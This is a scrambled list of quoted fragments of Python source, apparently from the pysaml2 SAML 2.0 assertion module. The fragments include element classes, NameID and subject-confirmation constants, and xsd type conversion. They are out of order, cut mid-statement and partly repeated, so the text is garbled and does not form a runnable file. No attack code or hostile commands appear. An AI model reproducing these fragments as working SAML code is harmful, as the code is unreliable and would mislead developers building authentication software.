offers the ability to", "int, 'to_type': int, 'to_text': _str, }, 'float': { 'type': float,", "element \"\"\" c_tag = 'Conditions' c_namespace = NAMESPACE c_children =", "'BaseIDAbstractType': BaseIDAbstractType_, 'ConditionAbstractType': ConditionAbstractType_, 'StatementAbstractType': StatementAbstractType_, } def factory(tag, **kwargs):", "self.in_response_to = in_response_to self.address = address def subject_confirmation_data_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationDataType_,", "c_namespace = NAMESPACE c_children = EncryptedElementType_.c_children.copy() c_attributes = EncryptedElementType_.c_attributes.copy() c_child_order", "c_attributes = SubjectType_.c_attributes.copy() c_child_order = SubjectType_.c_child_order[:] c_cardinality = SubjectType_.c_cardinality.copy() def", "c_cardinality = SubjectType_.c_cardinality.copy() def subject_from_string(xml_string): return saml2.create_class_from_xml_string(Subject, xml_string) #.................. #", "True) c_attributes['Decision'] = ('decision', DecisionType_, True) c_child_order.extend(['action', 'evidence']) def __init__(self,", "c_value_type = {'base': 'anyType'} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "idp and sp communicate usually about a subject(NameID) # the", "__init__(self, audience=None, text=None, extension_elements=None, extension_attributes=None): ConditionAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "c_cardinality['authenticating_authority'] = {\"min\": 0} c_child_order.extend(['authn_context_class_ref', 'authn_context_decl', 'authn_context_decl_ref', 'authenticating_authority']) def __init__(self,", "self.encrypted_id = encrypted_id self.subject_confirmation_data = subject_confirmation_data self.method = method def", "c_children['{http://www.w3.org/2000/09/xmldsig#}Signature'] = ('signature', ds.Signature) c_cardinality['signature'] = {\"min\": 0, \"max\": 1}", "summary of available specifications can be found at: # https://wiki.oasis-open.org/security/FrontPage", "= \"urn:oasis:names:tc:SAML:2.0:consent:inapplicable\" # Subject confirmation methods(scm), can be issued, besides", "to_type(value) except (TypeError, ValueError, KeyError): # the cast failed _wrong_type_value(xsd=xsd_type,", "token is issued instead. SCM_BEARER = \"urn:oasis:names:tc:SAML:2.0:cm:bearer\" class AttributeValueBase(SamlBase): def", "self.set_text(value) else: SamlBase.__setattr__(self, key, value) def verify(self): if not self.text", "= 'SubjectConfirmationData' c_namespace = NAMESPACE c_children = SubjectConfirmationDataType_.c_children.copy() c_attributes =", "'KeyInfoConfirmationDataType': KeyInfoConfirmationDataType_, 'Conditions': Conditions, 'ConditionsType': ConditionsType_, 'Condition': Condition, 'AudienceRestriction': AudienceRestriction,", "# nil type definition for xmlschemas XSI_NIL = '{%s}nil' %", "{ 'type': _str, 'to_type': _str, 'to_text': ( lambda x: b64encode(x.encode())", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() class SubjectLocalityType_(SamlBase):", "= session_index self.session_not_on_or_after = session_not_on_or_after def authn_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthnStatementType_, xml_string)", "Generated Mon May 2 14:23:33 2011 by parse_xsd.py version 0.4.", "= encrypted_key or [] def encrypted_element_type__from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedElementType_, xml_string) class", "encrypted_assertion or [] def evidence_type__from_string(xml_string): return saml2.create_class_from_xml_string(EvidenceType_, xml_string) class Evidence(EvidenceType_):", "and must include a security header # signing its content.", "= 'AudienceRestriction' c_namespace = NAMESPACE c_children = AudienceRestrictionType_.c_children.copy() c_attributes =", "value do not match: {xsd}:{type}:{value}' msg = msg.format(xsd=xsd, type=type(value), value=value)", "issuer=None, signature=None, subject=None, conditions=None, advice=None, statement=None, authn_statement=None, authz_decision_statement=None, attribute_statement=None, version=None,", "AttributeValue(AttributeValueBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeValue element \"\"\" c_tag = 'AttributeValue' c_namespace =", "# and remove/trim/strip whitespace # and expect to not have", "'Evidence' c_namespace = NAMESPACE c_children = EvidenceType_.c_children.copy() c_attributes = EvidenceType_.c_attributes.copy()", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedID element \"\"\" c_tag = 'EncryptedID' c_namespace = NAMESPACE", "self.extension_attributes[XSI_TYPE] def __setattr__(self, key, value): if key == \"text\": self.set_text(value)", "encrypted_id_from_string, Issuer.c_tag: issuer_from_string, AssertionIDRef.c_tag: assertion_id_ref_from_string, AssertionURIRef.c_tag: assertion_uri_ref_from_string, Assertion.c_tag: assertion_from_string, AssertionType_.c_tag:", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def assertion_uri_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AssertionURIRef, xml_string)", "AssertionType_.c_tag: assertion_type__from_string, Subject.c_tag: subject_from_string, SubjectType_.c_tag: subject_type__from_string, SubjectConfirmation.c_tag: subject_confirmation_from_string, SubjectConfirmationType_.c_tag: subject_confirmation_type__from_string,", "saml2.create_class_from_xml_string(Issuer, xml_string) class AssertionIDRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionIDRef element \"\"\" c_tag =", "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ EvidenceType_.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion', [Assertion]) Evidence.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Assertion'] = ( 'assertion',", "# - a corresponding python type # - a function", "self.audience = audience or [] def audience_restriction_type__from_string(xml_string): return saml2.create_class_from_xml_string(AudienceRestrictionType_, xml_string)", "sp_name_qualifier=None, format=None, sp_provided_id=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes)", "c_tag = 'DecisionType' c_namespace = NAMESPACE c_value_type = {'base': 'string',", "\"\"\" c_tag = 'ConditionsType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy()", "return saml2.create_class_from_xml_string(AuthzDecisionStatement, xml_string) #.................. # ['Assertion', 'AssertionType', 'AdviceType', 'Advice'] class", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedData'] = (", "'EncryptedAttribute': EncryptedAttribute, 'BaseIDAbstractType': BaseIDAbstractType_, 'ConditionAbstractType': ConditionAbstractType_, 'StatementAbstractType': StatementAbstractType_, } def", "# attribute statements is key:value metadata shared with your app", "c_cardinality = SamlBase.c_cardinality.copy() c_attributes['Namespace'] = ('namespace', 'anyURI', True) def __init__(self,", "conditions self.advice = advice self.statement = statement or [] self.authn_statement", "default to NAME_FORMAT_UNSPECIFIED as NameFormat def harvest_element_tree(self, tree): tree.attrib.setdefault('NameFormat', NAME_FORMAT_UNSPECIFIED)", "no consent has been obtained CONSENT_UNAVAILABLE = \"urn:oasis:names:tc:SAML:2.0:consent:unavailable\" # no", "urn:oasis:names:tc:SAML:2.0:assertion:NameIDType element \"\"\" c_tag = 'NameIDType' c_namespace = NAMESPACE c_value_type", "{ _str: 'string', int: 'integer', float: 'float', bool: 'boolean', type(None):", "= xsd_type_props.get('to_type', str) to_text = xsd_type_props.get('to_text', str) # cast to", "False) c_any = {\"namespace\": \"##any\", \"processContents\": \"lax\", \"minOccurs\": \"0\", \"maxOccurs\":", "def audience_restriction_type__from_string(xml_string): return saml2.create_class_from_xml_string(AudienceRestrictionType_, xml_string) class OneTimeUse(OneTimeUseType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUse element", "__init__(self, condition=None, audience_restriction=None, one_time_use=None, proxy_restriction=None, not_before=None, not_on_or_after=None, text=None, extension_elements=None, extension_attributes=None):", "c_tag = 'SubjectConfirmationType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes", "= SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2000/09/xmldsig#}KeyInfo'] = ('key_info', [ds.KeyInfo]) c_cardinality['key_info'] = {\"min\": 1}", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authn_context_decl_ref_from_string(xml_string):", "formats NAME_FORMATS_SAML2 = ( ('NAME_FORMAT_BASIC', NAME_FORMAT_BASIC), ('NAME_FORMAT_URI', NAME_FORMAT_URI), ('NAME_FORMAT_UNSPECIFIED', NAME_FORMAT_UNSPECIFIED),", "'conditions', Conditions) c_cardinality['conditions'] = {\"min\": 0, \"max\": 1} c_cardinality['advice'] =", "except (AttributeError, KeyError): pass try: self.extension_attributes[XSI_TYPE] = typ except AttributeError:", "def __init__(self, audience=None, text=None, extension_elements=None, extension_attributes=None): ConditionAbstractType_.__init__( self, text=text, extension_elements=extension_elements,", "), }, 'anyType': { 'type': type(value), 'to_type': lambda x: x,", "__init__(self, subject_locality=None, authn_context=None, authn_instant=None, session_index=None, session_not_on_or_after=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__(", "saml2.create_class_from_xml_string(SubjectConfirmationType_, xml_string) class AudienceRestriction(AudienceRestrictionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestriction element \"\"\" c_tag =", "'BaseID': BaseID, 'NameID': NameID, 'NameIDType': NameIDType_, 'EncryptedElementType': EncryptedElementType_, 'EncryptedID': EncryptedID,", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}BaseID'] = ('base_id', BaseID) c_cardinality['base_id'] =", "return saml2.create_class_from_xml_string(Condition, xml_string) class AudienceRestrictionType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestrictionType element \"\"\" c_tag", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.subject_locality = subject_locality self.authn_context = authn_context self.authn_instant", "\"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Subject'] = ('subject', Subject) c_cardinality['subject'] = {\"min\": 0,", "Audience, 'OneTimeUse': OneTimeUse, 'OneTimeUseType': OneTimeUseType_, 'ProxyRestriction': ProxyRestriction, 'ProxyRestrictionType': ProxyRestrictionType_, 'Advice':", "c_cardinality['action'] = {\"min\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Evidence'] = ( 'evidence', Evidence) c_cardinality['evidence']", "\"\"\" c_tag = 'SubjectConfirmationType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy()", "c_cardinality = AttributeStatementType_.c_cardinality.copy() def attribute_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AttributeStatement, xml_string) class Subject(SubjectType_):", "is issued instead. SCM_BEARER = \"urn:oasis:names:tc:SAML:2.0:cm:bearer\" class AttributeValueBase(SamlBase): def __init__(self,", "{ 'true': True, 'false': False, }[_str(x).lower()], 'to_text': lambda x: _str(x).lower(),", "AssertionIDRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AssertionIDRef element \"\"\" c_tag = 'AssertionIDRef' c_namespace =", "SubjectConfirmationDataType_.c_child_order[:] c_cardinality = SubjectConfirmationDataType_.c_cardinality.copy() def subject_confirmation_data_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationData, xml_string) class", "urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmation element \"\"\" c_tag = 'SubjectConfirmation' c_namespace = NAMESPACE c_children", "'float', bool: 'boolean', type(None): '', } # entries of xsd-types", "Evidence) c_cardinality['evidence'] = {\"min\": 0, \"max\": 1} c_attributes['Resource'] = ('resource',", "as windows domain name NAMEID_FORMAT_WINDOWSDOMAINQUALIFIEDNAME = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:WindowsDomainQualifiedName\") # subject", "element \"\"\" c_tag = 'Attribute' c_namespace = NAMESPACE c_children =", "saml2.create_class_from_xml_string(EncryptedAssertion, xml_string) class StatementAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:StatementAbstractType element \"\"\" c_tag =", "expect to not have actual text content text = (", "else '', xsd_string ] if ':' not in xsd_string else", "\"\"\" c_tag = 'AuthnContextClassRef' c_namespace = NAMESPACE c_value_type = {'base':", "= SamlBase.c_cardinality.copy() def decision_type__from_string(xml_string): return saml2.create_class_from_xml_string(DecisionType_, xml_string) class ActionType_(SamlBase): \"\"\"The", "# https://docs.oasis-open.org/security/saml/v2.0/saml-profiles-2.0-os.pdf # The specification was later updated with errata,", "c_tag = 'AuthnContextDecl' c_namespace = NAMESPACE c_value_type = {'base': 'anyType'}", "'', } # entries of xsd-types each declaring: # -", "that type # - a function to turn that type", "import valid_ipv4, MustValueError from saml2.validate import valid_ipv6 from saml2.validate import", "definitions for xmlschemas XSI_TYPE = '{%s}type' % XSI_NAMESPACE # nil", "}, 'integer': { 'type': int, 'to_type': int, 'to_text': _str, },", "NAMEID_FORMAT_ENTITY = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:entity\") # linked subject NAMEID_FORMAT_PERSISTENT = (", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextType element \"\"\" c_tag = 'AuthnContextType' c_namespace = NAMESPACE", "self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.attribute = attribute or [] self.encrypted_attribute", "text: #print(\"set_text:\", tree.text) # clear type #self.clear_type() self.set_text(text) # if", "subject as email address NAMEID_FORMAT_EMAILADDRESS = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress\") # subject", "c_child_order = SubjectConfirmationDataType_.c_child_order[:] c_cardinality = SubjectConfirmationDataType_.c_cardinality.copy() def subject_confirmation_data_from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationData,", "'AuthenticatingAuthority' c_namespace = NAMESPACE c_value_type = {'base': 'anyURI'} c_children =", "c_tag = 'AuthzDecisionStatementType' c_namespace = NAMESPACE c_children = StatementAbstractType_.c_children.copy() c_attributes", "# the specified action is permitted DECISION_TYPE_PERMIT = \"Permit\" #", "\"urn:oasis:names:tc:SAML:2.0:cm:sender-vouches\" # a bearer token is issued instead. SCM_BEARER =", "AttributeType_.c_tag: attribute_type__from_string, AttributeValue.c_tag: attribute_value_from_string, EncryptedAttribute.c_tag: encrypted_attribute_from_string, } ELEMENT_BY_TAG = {", "c_cardinality = SamlBase.c_cardinality.copy() class SubjectLocalityType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocalityType element \"\"\" c_tag", "subject as x509 key NAMEID_FORMAT_X509SUBJECTNAME = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:X509SubjectName\") # subject", "is in # custom subject NAMEID_FORMAT_UNSPECIFIED = ( \"urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified\") #", "= address def subject_confirmation_data_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationDataType_, xml_string) class KeyInfoConfirmationDataType_(SamlBase): \"\"\"The", "= ( 'one_time_use', [OneTimeUse]) c_cardinality['one_time_use'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}ProxyRestriction'] =", "class EncryptedAssertion(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAssertion element \"\"\" c_tag = 'EncryptedAssertion' c_namespace", "NameIDType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:NameIDType element \"\"\" c_tag = 'NameIDType' c_namespace =", "self.proxy_restriction = proxy_restriction or [] self.not_before = not_before self.not_on_or_after =", "six from saml2 import xmldsig as ds from saml2 import", "third parties. # http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0.pdf # the 3rd party is identified", "[] self.evidence = evidence self.resource = resource self.decision = decision", "= 'SubjectConfirmationDataType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes =", "or [] self.count = count def proxy_restriction_type__from_string(xml_string): return saml2.create_class_from_xml_string(ProxyRestrictionType_, xml_string)", "'StatementAbstractType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "class EncryptedAttribute(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedAttribute element \"\"\" c_tag = 'EncryptedAttribute' c_namespace", "'string', False) c_attributes['SPNameQualifier'] = ('sp_name_qualifier', 'string', False) def __init__(self, name_qualifier=None,", "{\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}ProxyRestriction'] = ( 'proxy_restriction', [ProxyRestriction]) c_cardinality['proxy_restriction'] = {\"min\":", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Issuer'] = ('issuer', Issuer) c_children['{http://www.w3.org/2000/09/xmldsig#}Signature'] = ('signature', ds.Signature) c_cardinality['signature'] =", "outlines a set of rules describing how to embed SAML", "self.authn_context_decl and self.authn_context_decl_ref: raise Exception( \"Invalid Response: \" \"Cannot have", "1: raise Exception(\"Cannot be used more than once\") return SamlBase.verify(self)", "except AttributeError: self._extatt[XSI_TYPE] = typ if typ.startswith('xs:'): try: self.extension_attributes['xmlns:xs'] =", "import valid_ipv6 from saml2.validate import ShouldValueError from saml2.validate import valid_domain_name", "extension_attributes=extension_attributes) if self._extatt: self.extension_attributes = self._extatt if text: self.set_text(text) elif", "c_child_order.extend(['audience']) def __init__(self, audience=None, text=None, extension_elements=None, extension_attributes=None): ConditionAbstractType_.__init__( self, text=text,", "# https://www.oasis-open.org/committees/download.php/56776/sstc-saml-core-errata-2.0-wd-07.pdf # try: from base64 import encodebytes as b64encode", "( 'attribute', [Attribute]) c_cardinality['attribute'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAttribute'] = (", "# dotted-decimal IPv4 or RFC3513 IPv6 address if valid_ipv4(self.address) or", "here: # https://www.oasis-open.org/committees/download.php/56782/sstc-saml-profiles-errata-2.0-wd-07.pdf # XML based values for SAML attributes", "def harvest_element_tree(self, tree): # Fill in the instance members from", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{http://www.w3.org/2001/04/xmlenc#}EncryptedData'] = ( 'encrypted_data',", "= NameIDType_.c_children.copy() c_attributes = NameIDType_.c_attributes.copy() c_child_order = NameIDType_.c_child_order[:] c_cardinality =", "'AuthnContext' c_namespace = NAMESPACE c_children = AuthnContextType_.c_children.copy() c_attributes = AuthnContextType_.c_attributes.copy()", "= value.decode('utf-8') type_to_xsd = { _str: 'string', int: 'integer', float:", "= ('namespace', 'anyURI', True) def __init__(self, namespace=None, text=None, extension_elements=None, extension_attributes=None):", "for child in tree: self._convert_element_tree_to_member(child) for attribute, value in iter(tree.attrib.items()):", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['NameQualifier'] = ('name_qualifier', 'string', False) c_attributes['SPNameQualifier']", "c_cardinality['assertion_uri_ref'] = {\"min\": 0} c_cardinality['assertion'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAssertion'] =", "# subject as name NAMEID_FORMAT_ENTITY = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:entity\") # linked", "saml2.create_class_from_xml_string(SubjectConfirmationData, xml_string) class Condition(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Condition element \"\"\" c_tag =", "( 'encrypted_assertion', [EncryptedAssertion]) c_cardinality['encrypted_assertion'] = {\"min\": 0} c_child_order.extend(['assertion_id_ref', 'assertion_uri_ref', 'assertion',", "'ConditionAbstractType': ConditionAbstractType_, 'StatementAbstractType': StatementAbstractType_, } def factory(tag, **kwargs): return ELEMENT_BY_TAG[tag](**kwargs)", "your app # custom format NAME_FORMAT_UNSPECIFIED = ( \"urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified\") #", "int, 'to_text': _str, }, 'long': { 'type': int, 'to_type': int,", "the contents of the XML tree. for child in tree:", "c_cardinality = SamlBase.c_cardinality.copy() def authenticating_authority_from_string(xml_string): return saml2.create_class_from_xml_string(AuthenticatingAuthority, xml_string) class DecisionType_(SamlBase):", "NAMESPACE c_children = ProxyRestrictionType_.c_children.copy() c_attributes = ProxyRestrictionType_.c_attributes.copy() c_child_order = ProxyRestrictionType_.c_child_order[:]", "NameIDType_.c_cardinality.copy() def name_id_from_string(xml_string): return saml2.create_class_from_xml_string(NameID, xml_string) class SubjectConfirmationData(SubjectConfirmationDataType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationData", "not have extension attributes\" ) if self.extension_attributes[XSI_NIL] != \"true\": raise", "= ( 'statement', [Statement]) c_cardinality['statement'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnStatement'] =", "'subject_confirmation', [SubjectConfirmation]) c_cardinality['subject_confirmation'] = {\"min\": 0} c_child_order.extend(['base_id', 'name_id', 'encrypted_id', 'subject_confirmation'])", "by third parties. # http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0.pdf # the 3rd party is", "c_cardinality = SamlBase.c_cardinality.copy() c_attributes['NameQualifier'] = ('name_qualifier', 'string', False) c_attributes['SPNameQualifier'] =", "= ('not_before', 'dateTime', False) c_attributes['NotOnOrAfter'] = ('not_on_or_after', 'dateTime', False) c_attributes['Recipient']", "= SamlBase.c_cardinality.copy() def authn_context_decl_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextDecl, xml_string) class AuthenticatingAuthority(SamlBase): \"\"\"The", "the subject given private/public key SCM_HOLDER_OF_KEY = \"urn:oasis:names:tc:SAML:2.0:cm:holder-of-key\" # the", "= NameIDType_.c_child_order[:] c_cardinality = NameIDType_.c_cardinality.copy() def name_id_from_string(xml_string): return saml2.create_class_from_xml_string(NameID, xml_string)", "= NAMESPACE c_children = AttributeType_.c_children.copy() c_attributes = AttributeType_.c_attributes.copy() c_child_order =", "decision=None, text=None, extension_elements=None, extension_attributes=None): StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.action", "== '' else [ XSD if xsd_string in xsd_types_props else", "SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.authn_context_class_ref = authn_context_class_ref self.authn_context_decl = authn_context_decl", "# the SAML authority's decision can be predetermined by arbitrary", "('name_format', 'anyURI', False) c_attributes['FriendlyName'] = ('friendly_name', 'string', False) c_child_order.extend(['attribute_value']) c_any_attribute", "NAMEID_FORMAT_ENTITY), ('NAMEID_FORMAT_PERSISTENT', NAMEID_FORMAT_PERSISTENT), ('NAMEID_FORMAT_TRANSIENT', NAMEID_FORMAT_TRANSIENT), ('NAMEID_FORMAT_UNSPECIFIED', NAMEID_FORMAT_UNSPECIFIED), ) # a", "= 'AttributeValue' c_namespace = NAMESPACE c_value_type = {'base': 'anyType'} c_children", "= ( 'conditions', Conditions) c_cardinality['conditions'] = {\"min\": 0, \"max\": 1}", "ConditionsType_.c_children.copy() c_attributes = ConditionsType_.c_attributes.copy() c_child_order = ConditionsType_.c_child_order[:] c_cardinality = ConditionsType_.c_cardinality.copy()", "AUTHN_PASSWORD = \"urn:oasis:names:tc:SAML:2.0:ac:classes:Password\" # authenticate the request with login credentials,", "'', }, } xsd_string = ( 'base64Binary' if base64encode else", "= {\"min\": 1} c_child_order.extend(['key_info']) def __init__(self, key_info=None, text=None, extension_elements=None, extension_attributes=None):", "c_attributes = AssertionType_.c_attributes.copy() c_child_order = AssertionType_.c_child_order[:] c_cardinality = AssertionType_.c_cardinality.copy() def", "xml_string) class Condition(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Condition element \"\"\" c_tag = 'Condition'", "'ActionType': ActionType_, 'Evidence': Evidence, 'EvidenceType': EvidenceType_, 'AttributeStatement': AttributeStatement, 'AttributeStatementType': AttributeStatementType_,", "EncryptedID) c_cardinality['encrypted_id'] = {\"min\": 0, \"max\": 1} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmationData'] =", "parties. # http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0.pdf # the 3rd party is identified on", "in_response_to self.address = address def subject_confirmation_data_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationDataType_, xml_string) class", "= statement or [] self.authn_statement = authn_statement or [] self.authz_decision_statement", "c_any = {\"namespace\": \"##any\", \"processContents\": \"lax\", \"minOccurs\": \"0\", \"maxOccurs\": \"unbounded\"}", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextClassRef']", "class ConditionsType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionsType element \"\"\" c_tag = 'ConditionsType' c_namespace", "contains several builtin attributes XSI_NAMESPACE = 'http://www.w3.org/2001/XMLSchema-instance' # xml soap", "authenticate the request with login credentials, over tls/https AUTHN_PASSWORD_PROTECTED =", "'Indeterminate']} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:]", "self.name_id = name_id self.encrypted_id = encrypted_id self.subject_confirmation = subject_confirmation or", "c_tag = 'AuthnContextDeclRef' c_namespace = NAMESPACE c_value_type = {'base': 'anyURI'}", "urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef element \"\"\" c_tag = 'AuthnContextClassRef' c_namespace = NAMESPACE c_value_type", "'to_text': _str, }, 'boolean': { 'type': bool, 'to_type': lambda x:", "SamlBase import six from saml2 import xmldsig as ds from", "'nonNegativeInteger', False) c_child_order.extend(['audience']) def __init__(self, audience=None, count=None, text=None, extension_elements=None, extension_attributes=None):", "\"max\": 1} c_children[ '{urn:oasis:names:tc:SAML:2.0:assertion}AuthenticatingAuthority'] = ( 'authenticating_authority', [AuthenticatingAuthority]) c_cardinality['authenticating_authority'] =", "__init__(self, base_id=None, name_id=None, encrypted_id=None, subject_confirmation_data=None, method=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self,", "sp_name_qualifier=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.name_qualifier =", "\"processContents\": \"lax\"} def __init__(self, not_before=None, not_on_or_after=None, recipient=None, in_response_to=None, address=None, text=None,", "SubjectConfirmationData) c_cardinality['subject_confirmation_data'] = {\"min\": 0, \"max\": 1} c_attributes['Method'] = ('method',", "{ 'type': float, 'to_type': float, 'to_text': _str, }, 'boolean': {", "urn:oasis:names:tc:SAML:2.0:assertion:ConditionsType element \"\"\" c_tag = 'ConditionsType' c_namespace = NAMESPACE c_children", "if any question arise please query the following pdf. #", "login credentials, over tls/https AUTHN_PASSWORD_PROTECTED = \\ \"urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport\" # attribute", "fields NAMESPACE = 'urn:oasis:names:tc:SAML:2.0:assertion' # xmlschema definition XSD = \"xs\"", "c_cardinality['attribute'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAttribute'] = ( 'encrypted_attribute', [EncryptedAttribute]) c_cardinality['encrypted_attribute']", "\"\"\" c_tag = 'NameIDType' c_namespace = NAMESPACE c_value_type = {'base':", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_attributes['NameQualifier'] = ('name_qualifier', 'string', False)", "= ('decision', DecisionType_, True) c_child_order.extend(['action', 'evidence']) def __init__(self, action=None, evidence=None,", "= BaseIDAbstractType_.c_attributes.copy() c_child_order = BaseIDAbstractType_.c_child_order[:] c_cardinality = BaseIDAbstractType_.c_cardinality.copy() def base_id_from_string(xml_string):", "return saml2.create_class_from_xml_string(AudienceRestrictionType_, xml_string) class OneTimeUse(OneTimeUseType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUse element \"\"\" c_tag", "authn_context_class_ref self.authn_context_decl = authn_context_decl self.authn_context_decl_ref = authn_context_decl_ref self.authenticating_authority = authenticating_authority", "SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.name_qualifier = name_qualifier self.sp_name_qualifier = sp_name_qualifier", "NAMESPACE c_children = StatementAbstractType_.c_children.copy() c_attributes = StatementAbstractType_.c_attributes.copy() c_child_order = StatementAbstractType_.c_child_order[:]", "BaseIDAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseIDAbstractType element \"\"\" c_tag = 'BaseIDAbstractType' c_namespace =", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestrictionType element \"\"\" c_tag = 'AudienceRestrictionType' c_namespace = NAMESPACE", "xml_string) class Evidence(EvidenceType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Evidence element \"\"\" c_tag = 'Evidence'", "have added children to this node # we consider whitespace", "if text: #print(\"set_text:\", tree.text) # clear type #self.clear_type() self.set_text(text) #", "valid_ipv4(self.address) or valid_ipv6(self.address): pass else: raise ShouldValueError(\"Not an IPv4 or", "c_namespace = NAMESPACE c_children = SubjectType_.c_children.copy() c_attributes = SubjectType_.c_attributes.copy() c_child_order", "and self.authn_context_decl_ref: raise Exception( \"Invalid Response: \" \"Cannot have both", "self.extension_attributes = self._extatt if text: self.set_text(text) elif not extension_elements: self.extension_attributes", "= ConditionAbstractType_.c_attributes.copy() c_child_order = ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy() def one_time_use_type__from_string(xml_string):", "!= 1: raise Exception(\"Cannot be used more than once\") if", "c_children = NameIDType_.c_children.copy() c_attributes = NameIDType_.c_attributes.copy() c_child_order = 